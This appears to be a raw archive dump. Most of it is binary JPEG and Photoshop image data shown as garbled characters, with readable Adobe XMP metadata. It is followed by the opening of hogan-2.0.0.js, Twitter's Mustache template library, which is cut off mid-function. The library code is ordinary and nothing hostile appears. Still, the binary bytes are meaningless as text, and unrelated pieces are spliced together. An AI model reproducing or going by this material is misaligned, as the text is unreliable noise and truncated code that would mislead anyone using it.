p�./މ]���M���ۊΟ������*'W�,�G�/�}O�?�X�6���mn}���Y%��n�c�^ƹ����Ȼ/(Տs�FKZ�Fe�����m�����SN/�j���L�)���T��_m�A�{����e<�gH������}��(���{l��%�����譛w}ەΔY�q��5���6�W�{}�9���?���4�|7�ݒr	�ƀ	 �1�ߢ�~���~f��E�7��k�U6��=5ր��);M^���m��z��'�5���2�5�������2k�ϣ6�_v�f�[6H�5��=߹f�g��N��:�N6>'Fk��=G�
�.i-e�����[��dz��mN��YF9xh79��2�S��l��l���Dz�-̷�w�h0�6\��ۢ}��T2��ǯS�h~����qq~�?�5n��qE�;�c�ג�;�4~z�����q����L�����l�H��ts�v��������g�k��}�i��3�G���o�&�߼�TL�]n�<_�@�ly�&�ZUb��`�Q�����~�{%؝?%�;�YK�֟�Y�1��w��T��c�>����qg��F���?J�[cCI�
��}$�!��y_����z���v��vNߢ���A�o���{�;w���A%WO�s��݋����������;�Zw}?n�o�[}6�U�_��;
�md1�k�����ݎkms]c=�����]u�0�Hk�O�5�C����O���61��ɘ��������K'1�U�ETON�_�d&��%���:����e[m/&�����
�cu��W����q�7����6ߠ�ժmY�V�:�w��?F���,�=7�m�p��c�
/��}�pu���g�qV����@��^�w�^�2��U���<˱*��i{�dZ_�����F�q���^�i>��K�����w^��_�ﱿO�ʖ^/S����m6�45�"ót3��_g�����s�^β�N����wU�n��V!��u��>�鏧��Lf6m��Juf���K��8�?Үv׻o� ��BuN����9���qi$�v��L�U�'=��X�� � �+���F�����!�N��ѐJ�8#�(���5���`������}�c��eY#&���4p}w�Ż\}�A�I��k�1��=�����L�-�D�Q�wH��s�d46Ip�� ~c��D���0T�O��4�������s_��m�3�xD�� ɑܝ7#���Gz�`�6���m�ߛ�7��Y�:G���w�؋/�սT�����Gc}	�������k=OI޷�>v��m����Y%���u����/��n�������������������?����?вvz{��&>���{wn��}
��RO����/����)o�}o�������E�g�6����v���=/S�hvz_fo�c��z�����UyBI�:y����h�^g�~�ϲ��Q�}(�}]�?�l�{=����W�;����3��_>��r?<�m����ɏs��N�xژ�c���t��+�
������ty�)3wzm� n���۷~�$���ݾ��S�%��I)���PPhotoshop 3.08BIM8BIM%��\�/���{g��dպ8BIM:�printOutputPstSboolInteenumInteClrmprintSixteenBitboolprinterNameTEXTprintProofSetupObjcProof Setup
proofSetupBltnenumbuiltinProof	proofCMYK8BIM;-printOutputOptionsCptnboolClbrboolRgsMboolCrnCboolCntCboolLblsboolNgtvboolEmlDboolIntrboolBckgObjcRGBCRd  doub@o�Grn doub@o�Bl  doub@o�BrdTUntF#RltBld UntF#RltRsltUntF#Pxl@R
vectorDataboolPgPsenumPgPsPgPCLeftUntF#RltTop UntF#RltScl UntF#Prc@YcropWhenPrintingboolcropRectBottomlongcropRectLeftlong
cropRectRightlongcropRectToplong8BIM�HH8BIM&?�8BIM
8BIM8BIM�	8BIM'
8BIM�H/fflff/ff���2Z5-8BIM�p��������������������������������������������������������������������������������������������8BIM@@8BIM8BIMEdddomicileddnullboundsObjcRct1Top longLeftlongBtomlongdRghtlongdslicesVlLsObjcslicesliceIDlonggroupIDlongoriginenumESliceOrigin
autoGeneratedTypeenum
ESliceTypeImg boundsObjcRct1Top longLeftlongBtomlongdRghtlongdurlTEXTnullTEXTMsgeTEXTaltTagTEXTcellTextIsHTMLboolcellTextTEXT	horzAlignenumESliceHorzAligndefault	vertAlignenumESliceVertAligndefaultbgColorTypeenumESliceBGColorTypeNone	topOutsetlong
leftOutsetlongbottomOutsetlongrightOutsetlong8BIM(?�8BIM8BIM8BIMYdd,u0=���Adobe_CM��Adobed����			



��dd"����?	
	
3!1AQa"q�2���B#$R�b34r��C%�S���cs5���&D�TdE£t6�U�e���u��F'������������Vfv�������7GWgw�������5!1AQaq"2����B#�R��3$b�r��CScs4�%���&5��D�T�dEU6te����u��F������������Vfv�������'7GWgw������?�Ʀ����2q,���@�|e�ZxS�A�M� o��"�<�q�����e@�.lꪯ�w��Z]P0\�D��uэI���h:~�?��-��W]�X��sC�$D�����|�2�	/�c&�LG����0js�b��[�?�ܬW�f��1��I����!~�-�n��&>
����M�.>%X�2�Z�w`��${lک�I��qeHk:+��v5��cIn���Öh�׵�9�cDGnT�6���G�ﯚl��|�xp��1�I���>N[ے�
ZHs=���k:�EhX@1 �{��3��57߽�6@�i�X�ߜ��_Y��=��TQ�)��#^�+$�HÏQ�o�y�]n�Skݽ�p�Z>֨��{d<?�B.����p%��u�����U��F8o�O�	�#ƻ�����<��lp�=<�Sq�)̟\u��ԑw{6v����J{,4���������e�q%�|�G[a\�`�W���NR'D7�`c���:�H3�\�ؘ��1�8�CY��7{}ߺ��s�q�]ݕ��wvo�g���_e�Y�&�}��?�Y��A,�q:i�V������D�n����u&v���!V��ͤ��K�;R�qfͯ�Gk��N<�1����V}��_�L�ݬl�ĨّcǦ�p�;�����72ژMTY�i�3����XՊ��q�����q
egk6��m��nw�ށ�3�p��ޕte�F17�kd[�i����q�e��;�[?���8��M���=�W��}���ϳ�ݎ��f;�׵���ާ҇��歬-�B��u���acCG��}��P���d5���U!����Ym��r_� �K{~�˳�4g���\�ł�]��5�G�dY�:eg{��>?�G�(�U3�eXG�՛]�Ȳ�YX&X�sG�۹�T�3e�����Ǔc����uvIi}��G���ҟl�RZ~�i�������jmb�<2�Ü`~(�x�?�ܒU��������';��k��q��1��v��{Y�Q�vt~���eYV�kZ���έ���9���9�冣�2���)"O�l�=S��WWQ��s2�}���-g���o���k/������3Ym(��`���L�3v�/�Hߵ>���l	�}x�6���9�_a{>���ۖNoX�9O{衹�o�Y�h%��7���!/oJ����G�N�ާ��̷\�M�[[=�d6��}7����U(�.Ȭeݿ�I���hѯct��Q�ӵ�ѐ澉w�'�?�䶷9m�U��WS�q�Ǭ�C\�5α���a<��Mc�
��*���Α�}�ev_`s�B�?y�9�ںwR�?���&��+ 9�Ŀ�f�1�5���6���1�݅�T��Y��a�����l;)��p1
$2?1��>���&�@N'ag�̳�č�<�@���V�c�9�NG���h��0468��h��~�䮨t�����v��mm ��ۜ}�5tl:���vM����{j�u�3��\�c24:<X�E�K�Ӿ���>��cZI}�v�9���v7��q�z=�\��#c@�c��s}��hc�鮃�_�}`���I`эnߤ��{V_]�}��'�h���=�r]Y۳��Ob�#�e#B7я���/���_�'�|}O���ԗ-������#����7�?�ޒ�O�޿ˋ�{pw����9`7���[v0�w�5�C����T�阡��m��h�}��Ό�Y��m���Ig�팇n{������K�Xm;k߸�~o�=����r���̖@�9�=��UY{O�-sg_h2�e��ױ�v�����\��]*,��~�pc|��jM�ef�}w�#R's���!~;�L�~�1�ͪ�o��D
����mv�T�W���'%��7k�`��S�1��V�u�o���kF�i���	����}K
����vU�ii���p��Q�#���}���N��e�I`%��
�o������Ffc��sݰ��?������I�7U�+/��]�w�W}*����V9餵�s�u@ِ�_{��D��̉��V�;�k�ȇ��6�q�S���n���i��uv��CX�I%��;o�E��1h��%�1;��ܻ�����g���en#c��]f���+Y��;�p�Z��tŐ�&\�v��ޣ��=��5�v�5�F�
-��`�J&�˙e�z\��H��w�T��E��[��i�&F��U�t�g��'�����_f��~������~����l��=}v����}?SlF����/�~�J/������a����{�u��Ys�1��l!�k~��7z�%8�W���.�4����;]�\�m�R9����ݍX.n�f7;k~��9����Zq%�
�܁�Eu�{�s��.�۲��i��J��~�R�g#Q&0�
p�./މ]���M���ۊΟ������*'W�,�G�/�}O�?�X�6���mn}���Y%��n�c�^ƹ����Ȼ/(Տs�FKZ�Fe�����m�����SN/�j���L�)���T��_m�A�{����e<�gH������}��(���{l��%�����譛w}ەΔY�q��5���6�W�{}�9���?���4�|7�ݒr	�ƀ	 �1�ߢ�~���~f��E�7��k�U6��=5ր��);M^���m��z��'�5���2�5�������2k�ϣ6�_v�f�[6H�5��=߹f�g��N��:�N6>'Fk��=G�
�.i-e�����[��dz��mN��YF9xh79��2�S��l��l���Dz�-̷�w�h0�6\��ۢ}��T2��ǯS�h~����qq~�?�5n��qE�;�c�ג�;�4~z�����q����L�����l�H��ts�v��������g�k��}�i��3�G���o�&�߼�TL�]n�<_�@�ly�&�ZUb��`�Q�����~�{%؝?%�;�YK�֟�Y�1��w��T��c�>����qg��F���?J�[cCI�
��}$�!��y_����z���v��vNߢ���A�o���{�;w���A%WO�s��݋����������;�Zw}?n�o�[}6�U�_��;
�md1�k�����ݎkms]c=�����]u�0�Hk�O�5�C����O���61��ɘ��������K'1�U�ETON�_�d&��%���:����e[m/&�����
�cu��W����q�7����6ߠ�ժmY�V�:�w��?F���,�=7�m�p��c�
/��}�pu���g�qV����@��^�w�^�2��U���<˱*��i{�dZ_�����F�q���^�i>��K�����w^��_�ﱿO�ʖ^/S����m6�45�"ót3��_g�����s�^β�N����wU�n��V!��u��>�鏧��Lf6m��Juf���K��8�?Үv׻o� ��BuN����9���qi$�v��L�U�'=��X�� � �+���F�����!�N��ѐJ�8#�(���5���`������}�c��eY#&���4p}w�Ż\}�A�I��k�1��=�����L�-�D�Q�wH��s�d46Ip�� ~c��D���0T�O��4�������s_��m�3�xD�� ɑܝ7#���Gz�`�6���m�ߛ�7��Y�:G���w�؋/�սT�����Gc}	�������k=OI޷�>v��m����Y%���u����/��n�������������������?����?вvz{��&>���{wn��}
��RO����/����)o�}o�������E�g�6����v���=/S�hvz_fo�c��z�����UyBI�:y����h�^g�~�ϲ��Q�}(�}]�?�l�{=����W�;����3��_>��r?<�m����ɏs��N�xژ�c���t��+�
������ty�)3wzm� n���۷~�$���ݾ��S�%��I)��8BIM!WAdobe PhotoshopAdobe Photoshop 20208BIM��xhttp://ns.adobe.com/xap/1.0/<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c148 79.164036, 2019/08/13-01:06:57        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:photoshop="http://ns.adobe.com/photoshop/1.0/" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:DocumentID="adobe:docid:photoshop:b4b77272-31b6-3047-bbf7-244668c224c6" xmpMM:InstanceID="xmp.iid:daaec996-bdbe-e24a-b28d-acb004ec92f3" xmpMM:OriginalDocumentID="AB5BB3E942B1BE701D4974C27ED9ECB5" dc:format="image/jpeg" photoshop:LegacyIPTCDigest="E8F15CF32FC118A1A27B67ADC564D5BA" photoshop:ColorMode="3" photoshop:ICCProfile="" xmp:CreateDate="2020-11-24T22:59:23-12:00" xmp:ModifyDate="2020-12-30T07:47:08-12:00" xmp:MetadataDate="2020-12-30T07:47:08-12:00" xmp:CreatorTool="Adobe Photoshop 21.0 (Windows)"> <xmpMM:History> <rdf:Seq> <rdf:li stEvt:action="saved" stEvt:instanceID="xmp.iid:af0ddf18-48b6-a547-922c-33affcf05758" stEvt:when="2020-11-24T23:00:47-12:00" stEvt:softwareAgent="Adobe Photoshop 21.0 (Windows)" stEvt:changed="/"/> <rdf:li stEvt:action="saved" stEvt:instanceID="xmp.iid:daaec996-bdbe-e24a-b28d-acb004ec92f3" stEvt:when="2020-12-30T07:47:08-12:00" stEvt:softwareAgent="Adobe Photoshop 21.0 (Windows)" stEvt:changed="/"/> </rdf:Seq> </xmpMM:History> <photoshop:DocumentAncestors> <rdf:Bag> <rdf:li>02F44C7EC789CAC6917C54B5B848A809</rdf:li> <rdf:li>2D3D7C848F1E07AB60F3DE97C7E54F3C</rdf:li> <rdf:li>317F6E8F9B02D0C190CF8A186822CC00</rdf:li> <rdf:li>3F72793CC1CD29A491EEE7674893D8C4</rdf:li> <rdf:li>69770234C56F0F540272B81E2A8053D9</rdf:li> </rdf:Bag> </photoshop:DocumentAncestors> </rdf:Description> </rdf:RDF> </x:xmpmeta>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 <?xpacket end="w"?>��!Adobed���		





��dd���!"12 A!"21ABR#Qabr3��Cq����$����S4	!"B12Rb�Ar��� Qaq������#CSs0������3�����Z+E;S5[+}�Az8U��	� %SZ��ޖ,�%�z-,��\���������mY��?�µe��u�6�w!^(�T7oFa��_fdEo�M��>���~�1W��զ��4M$�t݌�)@�4r1�ƣ���8dӊ,�o(L-��Eᡓ;-�v#���+נwn%�N#(�(�	�T�]x�![=,�N�Rk!�������&��)~8�Դ��תbEΌ4�h͜�ralY��3EEɗ��!Ӥ��•��޵g�֥H��O��sե��óի�o
�A�_��g�0$0%�4�8���Է!��E��At�جf�N���
��� �@i� ��\��9�G�b�+�����1�q��¬e\*��l��	���G�������c���iX�S&UEYG��`+;BY�b�Z����Hl���e�1�F)��|�*�(���l�*��*X��iAY�����܁rc�\;�ϛ�,m�x�W��o���G��X#PK,�31np�CbB��ʮǀI'�q�6�-�fS��qa壡�$���2���/���B��v<i�$đ�-�\%�G�)vZD'��KYr��<��NLx�s��`���UB�"#Y$l���?�r��@�N8a<��L/ϓ�ŏ�~4���~VT�R�R���$���TdJ�f��%�<�J���G�!�"�
�G��Ȳܼ��Z2-��VY�&�"�h�K����k��{ކ�n�3��&%c*m�Y���R��X���Ͱ��,���,�#Bt�o��8�3��#�ż9�|S�����_>iyz��X��#,&vhO��RD�%E�*\&��{,���y��<b�s�K�E��w��C�q�*1#dh%v���{?.�o&Y:�I��\��-t(�䰬��x͑�i	���x=C9�0�0���1��qW�x��5+���.4��#�0�.�E���2�O�NB�Y�N
�PR���$E�VPDc	<:���|���?�8B21�3��o8$�*�?8Ô�# �¿�f��!�<�?ڿ��8���VXc����Q���3�"���GH�N
x���?�J�F���c>y�
8��x�3�O���TQr8�x�9�&�X�<���>c9f�&����G�K�'�9��_�#��?���YN�l�V.C��۳k$�:J�%}��E*�vHjS����m4{�aN����zg�g��Z�6{c�.����5��ڒ݉͹bXf��Ճ�a��[-Zh��h/��-�mX�4�� �;�Ewt�N�a��63ʯN٫4R=M�Z�.�n�����ަ�ՖC
��ۓ]��ji�y%u�!{qZ��.���55��ӧY�?Y�~��u��_���mT���ktZ��=�s_o�w:	,�>�SIw���n.ْ�Z��v�r��(כ��.�kZ��U�����6�i��b�h��Y׷]ǡ�;#�U��-UUH�]�X��BW�S��*涓	�ֶk�=s���6[5����I��T)�6-Nu��Ծ�A�����mb���n������i�����W�Y���N���$�X�۱����׮Oc�e���z�mKu���n�i
���K��'���~�[�y��e{e����]r
sEbm?U0��t(ﻏg�{
u�/u)�h���{0��{�u�=�Ķ�Z���[�:Y�aooڬR���K����cer��2ߥ�5v��v
u�f�;T�B�������a�ϝ�_Uu�L#��ν���u�u�V��*�������IT}OA~��V�����^���7e�I�?c��v��V�E���r���V�\�=��,�G�+Ǵ�ÍAy*������_��￯~�O��ߟ�~6����|A��oW6��c�z?>��?�N��M�4�y9u�$jʙ?Z�����qt�Q���QSl
�{��Һ&�S�I�N%1�ƝUj@�_
��T��HG�%��F.#��̘�&;ʲ��g���':�����*&*DS@�2$0N��
ѷ��UĈNj
�p���US�S�TL����tV��P�Fn��a����^���m�Ě8U��}�ܠ��f�f��>��e֏Rt[��u��b�xT�kA��m>��t�J����V�'UE���݄H-�0ք���b���2@��}މ<7+mk���j;JVb�LI���v�K���/�����e���p�j�̔�SHX��,���6]�~[J����.�_7���'��D�B����^���_2޿�D<�-��(�ۣ����n�lf�V�/ݔ�̺����k��:��|�Kbq������U��/�������v���'�!w�a�6�Є{<��j<��Va���g����rQ������P[̃�����T֤9���-�j����+n�k�JQ{WO�f�Ą�~fZڜ����\<0ɋ>d#����b�o[r��1���C�o+L�5���%$�c�*��&d�1�}kw��X<^<�(��N���qH�͏�į����U��ݖ\O}���j��w}:�u��j��r�m���xm�gY�l};=��|_�u���˺�6۹��Z��}7�aQ�_���?�dAv�y��x�`��^du*��W��`�)̨P�4NU��2�+d+�����*'��L����*1=j��#�[S�bH�:A�P�}�&�v�WE��@6�4�/*�L������*�>�(hԫ�>]թ<�Pj�%�bD�����d�˗F"�P
t?Z��q�-�I5��Z��US̵�7Z��U��	�
� ��^�q��&/�H�(� F�c���^���5a��]�J���{�{UPU:bN�V�Ԁ�	�ԙ�j��}A	jui4��'��/z>�_�¾��������?��@�4��ENj	4򦦂a"A�i�By�kJ�ݥ����b)���yP��I�2([�A'��i����J�ň�T�?ZÏ�@n���Oìli�-5-������I"գfY!P���P�G
�
�J�J�0��~��vT�	d+�F9�^�r���飪�Vi_#�T�
p��G���>J���uWe���+�^H�$
J�.[�ֱZ���utp-��HıS�G���C#ַ6��y�‚Ї•���w!�~��H>U��ظ��m�vȴr�������
�KJ)���W�H4��8uv�@��nZ����� �Așy�&1K|�5��[<m�~�_ݫq�M?��<�[€�i�Ie���`I#Qb�D���-��K��q��IФ21#�>'�F�Y����:��J����ᭇ;;�T��<B�5A�:�&k��*�>�x0Aԫ���q3���Aff=/
�!|?ө��sg\��yL��|�j>��I�p���Т�Q�S%ڥ4c��S�_�U���/t�#:S���~mddwNC1�Y	5|Ԋ�h�Hb1����rE<�i��h�aۚ��'p�i‡L��3�L���45�V�����S�?��x��*EmöP/�#���]�#��|��h�9EV5����I�-�-�_ũ��_Q/u2�f���QO���|RV���p�Ft��Å*O.��|~��&����r^y�m�(SwV��k]ʋ)���&I�(�HB/.$q��=����n�e�U<[�U����{E�3e��Ŋ&"��G.�B����i����$9XW.f.BN�q�oi�巃s��Kuu�1�7/&}�b�T����t��Y�뙽�2����8�h�Q]a6��SRCFnB� �R,�2(�,�2����Sv������,�٦9ir#Ȭ- ��Vh�n�e���`c�P<�<�7����"X�2��(�@��{��լxp�H�l�|��:(`�^��/�������7e�'��ݪ�@�J��v^TX`G]�ff׶�p��J~�A�O�o^�|���n��o��"�!��A������Ե����m�TG>hdT_�7��oV�wd�.7j��p&9쎒<��!t�ՑM�|:�\,�]�P�dw,�c'�V⡺V5E�|�6�{:�")ɼ��Xـ[��7p���pȱ��<l�7!2W�^ϷL���,�Q"�!�8R�?���W��eI�����V�X�X��E&ݿW�'��|��� ��T����1}$jo{$��!��*9

���M�n���|
̤oT9h��:�2�����VS��+�4yl�m�hͶ~����׽�-�}Ƕ�kl�l��_鿧�:T��������rT�-��x[�kk.<,��cSmi�؎q�6�F64
*1�@�.$��x���G#�m�3j��q$�sz�+�²�D�Y8�5
c��mw�Gf-�P���I:��`9�����1$�Tȑ�[�j�K�u��ic�ɴ؈�¬�R2��>j��%��"aE�UXHm��K��k����R��%Q�ރ�H?I�f�E��,���d�o9�p��Y	+ْ9l`�b*Ỳ|7k��f���b����k���Ky�󕙎ٲb4G!�f*Hܖƪ?=�h䰎.���c���W��5ԙv��Zq�n�*�Z����Y���y
�^�[��O��01#S5P�F�hA�zr2�6��ӳew,��(n+lhP��|Z싋o����NJ�d(��oaF������2D�dC&2�,`�V<*-�C�]�\L{=�x��������<_*G�"�pB�e�RxUZK�WP�eD&�b��WP�	T
I5�΂(��2p����8��5�^򏵿��[�t��_��6�{�rY��U�'*Q$3c�6�aKW���=������I]��$i� ��wY�V5��Ө{q�scN��0��qY��A$�'�e�����d�$�Hɓ�gD��,��"�Q�W.�c��إ���R���ڟ����>B6�z3����dL��2Q8���on�����._g8S���z���.�����}v���q'k�G��9LR����t�!���e�.�r�QN��Ȱ�s3E�]�z���ַç�Ф�ƲA*���MoQBM[K6.2���v��e@{A��s9S����#���b��dxLH��nk�˯e[Z�V��V�[��~=O$ɏ��`Fxē2* 4����Fr��In�;Yis�ދ={n>>>t�K3<F	�`�N���rmEtK�z[��q�2����ɓ�G���1����~V�׺)�����X���ߎ0�L��Ki埡Ԕ�S��g��`��%ջ�2��E���]R#ڭ���r�beK+��r�͌���!3+XVͭ�]�m�ܬ<�Y3b�#�Hղ�C$m
�l�7,��䵾f���o��I3�*�+5+�_W���X���+�m�P0 qkO:5��u��Kȍ�)7m\�АR���+���β)s�Ɣb��(�ǣ�C�9�X�6*�$eK���^�����}���җ�JY��G�w��R0�uh�V��u,xY��F�;���:Xʲ����p]�[=Ȁg�<��LJ36[��>&�����_t�sƛ�"��C+I:�ic�v��{Wy��x؍;��&4%rZj_.�{��_�+#[y�R�����L�$vE�H�R���<���l�[գ�4;��(К$j������Uy����O�;�D�Xc��vU�N�L?�2���"@��l��1kj���0�mt�؝�1��nԹR��H��	l(���Ӑx#!yu.�4�gڈ�7�0� �ֲ��_�[�=�u�Yf�쾗���4�K2EH[ЭhvR���z�سC.&<W\A��1��wQ[���6�{�><qK�� p���H�N��y�өp�G4�R6�媰��4�؎�?Կ�u.6d��D��q��;m	HNG%�Y�Tԙ�i2���m�0�(N��C�j���ɏ�ФF�%U��A�����MM8���D�Ï���אjV��΅YA=*<��i]XZ�k��b�q����W|56����Oc[�w�}�)�w�����u�?����������o'��w���[����/ۿ�|�Ȯ����[i~迫����,������s�s]u>]�����E�������U�Q�Þ�7����ͨ?m�g�I��ݥ�v�?�e�����wom��q�^?g��i�v����|��Cn�q�����Ƶ���R����S��U�xY�/�7���_��PK!��dszFzF"plugin/typeahead.js/hogan-2.0.0.jsnu&1i�/*
 *  Copyright 2011 Twitter, Inc.
 *  Licensed under the Apache License, Version 2.0 (the "License");
 *  you may not use this file except in compliance with the License.
 *  You may obtain a copy of the License at
 *
 *  http://www.apache.org/licenses/LICENSE-2.0
 *
 *  Unless required by applicable law or agreed to in writing, software
 *  distributed under the License is distributed on an "AS IS" BASIS,
 *  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 *  See the License for the specific language governing permissions and
 *  limitations under the License.
 */



var Hogan = {};

(function (Hogan, useArrayBuffer) {
    Hogan.Template = function (renderFunc, text, compiler, options) {
        this.r = renderFunc || this.r;
        this.c = compiler;
        this.options = options;
        this.text = text || '';
        this.buf = (useArrayBuffer) ? [] : '';
    }

    Hogan.Template.prototype = {
        // render: replaced by generated code.
        r: function (context, partials, indent) {
            return '';
        },

        // variable escaping
        v: hoganEscape,

        // triple stache
        t: coerceToString,

        render: function render(context, partials, indent) {
            return this.ri([context], partials || {}, indent);
        },

        // render internal -- a hook for overrides that catches partials too
        ri: function (context, partials, indent) {
            return this.r(context, partials, indent);
        },

        // tries to find a partial in the curent scope and render it
        rp: function (name, context, partials, indent) {
            var partial = partials[name];

            if (!partial) {
                return '';
            }

            if (this.c && typeof partial == 'string') {
                partial = this.c.compile(partial, this.options);
            }

            return partial.ri(context, partials, indent);
        },

        // render a section
        rs: function (context, partials, section) {
            var tail = context[context.length - 1];

            if (!isArray(tail)) {
                section(context, partials, this);
                return;
            }

            for (var i = 0; i < tail.length; i++) {
                context.push(tail[i]);
                section(context, partials, this);
                context.pop();
            }
        },

        // maybe start a section
        s: function (val, ctx, partials, inverted, start, end, tags) {
            var pass;

            if (isArray(val) && val.length === 0) {
                return false;
            }

            if (typeof val == 'function') {
                val = this.ls(val, ctx, partials, inverted, start, end, tags);
            }

            pass = (val === '') || !!val;

            if (!inverted && pass && ctx) {
                ctx.push((typeof val == 'object') ? val : ctx[ctx.length - 1]);
            }

            return pass;
        },

        // find values with dotted names
        d: function (key, ctx, partials, returnFound) {
            var names = key.split('.'),
                val = this.f(names[0], ctx, partials, returnFound),
                cx = null;

            if (key === '.' && isArray(ctx[ctx.length - 2])) {
                return ctx[ctx.length - 1];
            }

            for (var i = 1; i < names.length; i++) {
                if (val && typeof val == 'object' && names[i] in val) {
                    cx = val;
                    val = val[names[i]];
                } else {
                    val = '';
                }
            }

            if (returnFound && !val) {
                return false;
            }

            if (!returnFound && typeof val == 'function') {
                ctx.push(cx);
                val = this.lv(val, ctx, partials);
                ctx.pop();
            }

            return val;
        },

        // find values with normal names
        f: function (key, ctx, partials, returnFound) {
            var val = false,
                v = null,
                found = false;

            for (var i = ctx.length - 1; i >= 0; i--) {
                v = ctx[i];
                if (v && typeof v == 'object' && key in v) {
                    val = v[key];
                    found = true;
                    break;
                }
            }

            if (!found) {
                return (returnFound) ? false : "";
            }

            if (!returnFound && typeof val == 'function') {
                val = this.lv(val, ctx, partials);
            }

            return val;
        },

        // higher order templates
        ho: function (val, cx, partials, text, tags) {
            var compiler = this.c;
            var options = this.options;
            options.delimiters = tags;
            var text = val.call(cx, text);
            text = (text == null) ? String(text) : text.toString();
            this.b(compiler.compile(text, options).render(cx, partials));
            return false;
        },

        // template result buffering
        b: (useArrayBuffer) ? function (s) {
            this.buf.push(s);
        } : function (s) {
            this.buf += s;
        },
        fl: (useArrayBuffer) ? function () {
            var r = this.buf.join('');
            this.buf = [];
            return r;
        } : function () {
            var r = this.buf;
            this.buf = '';
            return r;
        },

        // lambda replace section
        ls: function (val, ctx, partials, inverted, start, end, tags) {
            var cx = ctx[ctx.length - 1],
                t = null;

            if (!inverted && this.c && val.length > 0) {
                return this.ho(val, cx, partials, this.text.substring(start, end), tags);
            }

            t = val.call(cx);

            if (typeof t == 'function') {
                if (inverted) {
                    return true;
                } else if (this.c) {
                    return this.ho(t, cx, partials, this.text.substring(start, end), tags);
                }
            }

            return t;
        },

        // lambda replace variable
        lv: function (val, ctx, partials) {
            var cx = ctx[ctx.length - 1];
            var result = val.call(cx);

            if (typeof result == 'function') {
                result = coerceToString(result.call(cx));
                if (this.c && ~result.indexOf("{\u007B")) {
                    return this.c.compile(result, this.options).render(cx, partials);
                }
            }

            return coerceToString(result);
        }

    };

    var rAmp = /&/g,
        rLt = /</g,
        rGt = />/g,
        rApos = /\'/g,
        rQuot = /\"/g,
        hChars = /[&<>\"\']/;


    function coerceToString(val) {
        return String((val === null || val === undefined) ? '' : val);
    }

    function hoganEscape(str) {
        str = coerceToString(str);
        return hChars.test(str) ?
            str
            .replace(rAmp, '&amp;')
            .replace(rLt, '&lt;')
            .replace(rGt, '&gt;')
            .replace(rApos, '&#39;')
            .replace(rQuot, '&quot;') :
            str;
    }

    var isArray = Array.isArray || function (a) {
        return Object.prototype.toString.call(a) === '[object Array]';
    };

})(typeof exports !== 'undefined' ? exports : Hogan);




(function (Hogan) {
    // Setup regex  assignments
    // remove whitespace according to Mustache spec
    var rIsWhitespace = /\S/,
        rQuot = /\"/g,
        rNewline = /\n/g,
        rCr = /\r/g,
        rSlash = /\\/g,
        tagTypes = {
            '#': 1,
            '^': 2,
            '/': 3,
            '!': 4,
            '>': 5,
            '<': 6,
            '=': 7,
            '_v': 8,
            '{': 9,
            '&': 10
        };

    Hogan.scan = function scan(text, delimiters) {
        var len = text.length,
            IN_TEXT = 0,
            IN_TAG_TYPE = 1,
            IN_TAG = 2,
            state = IN_TEXT,
            tagType = null,
            tag = null,
            buf = '',
            tokens = [],
            seenTag = false,
            i = 0,
            lineStart = 0,
            otag = '{{',
            ctag = '}}';

        function addBuf() {
            if (buf.length > 0) {
                tokens.push(new String(buf));
                buf = '';
            }
        }

        function lineIsWhitespace() {
            var isAllWhitespace = true;
            for (var j = lineStart; j < tokens.length; j++) {
                isAllWhitespace =
                    (tokens[j].tag && tagTypes[tokens[j].tag] < tagTypes['_v']) ||
                    (!tokens[j].tag && tokens[j].match(rIsWhitespace) === null);
                if (!isAllWhitespace) {
                    return false;
                }
            }

            return isAllWhitespace;
        }

        function filterLine(haveSeenTag, noNewLine) {
            addBuf();

            if (haveSeenTag && lineIsWhitespace()) {
                for (var j = lineStart, next; j < tokens.length; j++) {
                    if (!tokens[j].tag) {
                        if ((next = tokens[j + 1]) && next.tag == '>') {
                            // set indent to token value
                            next.indent = tokens[j].toString()
                        }
                        tokens.splice(j, 1);
                    }
                }
            } else if (!noNewLine) {
                tokens.push({
                    tag: '\n'
                });
            }

            seenTag = false;
            lineStart = tokens.length;
        }

        function changeDelimiters(text, index) {
            var close = '=' + ctag,
                closeIndex = text.indexOf(close, index),
                delimiters = trim(
                    text.substring(text.indexOf('=', index) + 1, closeIndex)
                ).split(' ');

            otag = delimiters[0];
            ctag = delimiters[1];

            return closeIndex + close.length - 1;
        }

        if (delimiters) {
            delimiters = delimiters.split(' ');
            otag = delimiters[0];
            ctag = delimiters[1];
        }

        for (i = 0; i < len; i++) {
            if (state == IN_TEXT) {
                if (tagChange(otag, text, i)) {
                    --i;
                    addBuf();
                    state = IN_TAG_TYPE;
                } else {
                    if (text.charAt(i) == '\n') {
                        filterLine(seenTag);
                    } else {
                        buf += text.charAt(i);
                    }
                }
            } else if (state == IN_TAG_TYPE) {
                i += otag.length - 1;
                tag = tagTypes[text.charAt(i + 1)];
                tagType = tag ? text.charAt(i + 1) : '_v';
                if (tagType == '=') {
                    i = changeDelimiters(text, i);
                    state = IN_TEXT;
                } else {
                    if (tag) {
                        i++;
                    }
                    state = IN_TAG;
                }
                seenTag = i;
            } else {
                if (tagChange(ctag, text, i)) {
                    tokens.push({
                        tag: tagType,
                        n: trim(buf),
                        otag: otag,
                        ctag: ctag,
                        i: (tagType == '/') ? seenTag - ctag.length : i + otag.length
                    });
                    buf = '';
                    i += ctag.length - 1;
                    state = IN_TEXT;
                    if (tagType == '{') {
                        if (ctag == '}}') {
                            i++;
                        } else {
                            cleanTripleStache(tokens[tokens.length - 1]);
                        }
                    }
                } else {
                    buf += text.charAt(i);
                }
            }
        }

        filterLine(seenTag, true);

        return tokens;
    }

    function cleanTripleStache(token) {
        if (token.n.substr(token.n.length - 1) === '}') {
            token.n = token.n.substring(0, token.n.length - 1);
        }
    }

    function trim(s) {
        if (s.trim) {
            return s.trim();
        }

        return s.replace(/^\s*|\s*$/g, '');
    }

    function tagChange(tag, text, index) {
